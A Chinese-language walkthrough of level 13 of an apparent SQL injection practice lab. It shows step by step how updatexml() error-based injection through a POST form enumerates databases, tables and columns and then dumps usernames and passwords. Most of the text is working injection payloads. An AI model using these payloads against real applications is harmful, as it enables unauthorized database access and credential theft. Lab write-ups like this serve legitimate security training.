第十三关请求方式为POST请求 , 注入点为 单引号+括号的字符型注入 , 注入方式为 报错注入
本次报错注入基于 updatexml()
updatexml(1,'~',3) -- 第二个参数包含特殊符号时,会报错,并将参数内容返回在报错内容中 -- 返回的结果不超过32个字符
第一步,判断注入类型
先来个单引号' , 用户名输入 a'
数据库果然报错了 , 既然有报错内容 , 那我们就用报错注入吧 , 接下来猜一下注入点 , 后端SQL包裹参数无非就是单引号,双引号以及括号的组合,我们挨个试试
a' and updatexml(1,'~',3) #
试到 单引号+括号时 , 成功返回了我们想要的报错结果 , 固 单引号+括号的字符串型注入
源码如下
第二步,获取所有数据库
查询information_schema默认数据库的schemata表的schema_name字段 , 该字段保存了所有数据库名
a') and updatexml(1,concat('~', (select schema_name from information_schema.schemata limit 1,1)) ,3) #
由于updatexml() 返回的字符串长度不超过32位 , 此处用limit分页查看 , 使用此方法可依次查看所有数据库名
获取当前使用的数据库
a') and updatexml(1,concat('~', database()) ,3) #
此处的 database() 可获取当前使用的数据库
第三步,获取所有表
查询information_schema默认数据库的tables表的table_name字段 , 该字段保存了所有表名
a') and updatexml(1,concat('~', (select table_name from information_schema.tables where table_schema='security' limit 3,1)) ,3) #
此处 limit 查看第一个数据库 , 依次查看所有数据库
users表存放用户信息 , 下一步获取users表的所有字段
第三步,查询所有字段
查询information_schema默认数据库的columns表的column_name字段 , 该字段保存了所有字段名
a') and updatexml(1,concat('~', (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')) ,3) #
此处的 group_concat() 可将多行数据合并为一行
至此可知, 数据库 security, 用户表 users, 字段 id,username,password 下一步, 根据这些信息获取账号密码
第四步,获取账号密码
a') and updatexml(1,concat('~', (select group_concat(username,'~',password) from security.users)) ,3) #